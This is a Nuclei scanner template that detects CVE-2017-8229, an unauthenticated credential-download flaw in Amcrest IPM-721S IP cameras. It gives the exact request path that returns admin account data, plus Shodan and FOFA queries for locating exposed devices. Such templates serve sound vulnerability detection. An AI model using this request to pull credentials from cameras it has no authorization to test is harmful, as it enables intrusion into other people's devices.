id: CVE-2017-8229

info:
  name: Amcrest IP Camera Web Management - Data Exposure
  author: pussycat0x
  severity: critical
  description: |
    Amcrest IPM-721S V2.420.AC00.16.R.20160909 devices allow an unauthenticated attacker to download the administrative credentials.
  impact: |
    An attacker can gain unauthorized access to sensitive data.
  remediation: |
    Apply the latest firmware update provided by the vendor to fix the vulnerability.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2017-8229
    - http://packetstormsecurity.com/files/153224/Amcrest-IPM-721S-Credential-Disclosure-Privilege-Escalation.html
    - https://github.com/ethanhunnt/IoT_vulnerabilities/blob/master/Amcrest_sec_issues.pdf
    - https://seclists.org/bugtraq/2019/Jun/8
    - https://github.com/d4n-sec/d4n-sec.github.io
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2017-8229
    cwe-id: CWE-255
    epss-score: 0.89506
    epss-percentile: 0.98685
    cpe: cpe:2.3:o:amcrest:ipm-721s_firmware:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: amcrest
    product: ipm-721s_firmware
    shodan-query: html:"Amcrest"
    fofa-query: "Amcrest"
  tags: cve2017,cve,packetstorm,seclists,amcrest,iot

http:
  - method: GET
    path:
      - "{{BaseURL}}/current_config/Sha1Account1"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "DevInformation"
          - "SerialID"
        condition: and

      - type: word
        part: header
        words:
          - "application/octet-stream"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100b6fd9d1debb3a00599d529ed9870adb5c6425994cafe24875150518f3a770549022010a916473eeea40a72614d21ce4acd2715c401e4e6bd33fd9bdf6440eac4788d:922c64590222798bb761d5b6d8e72950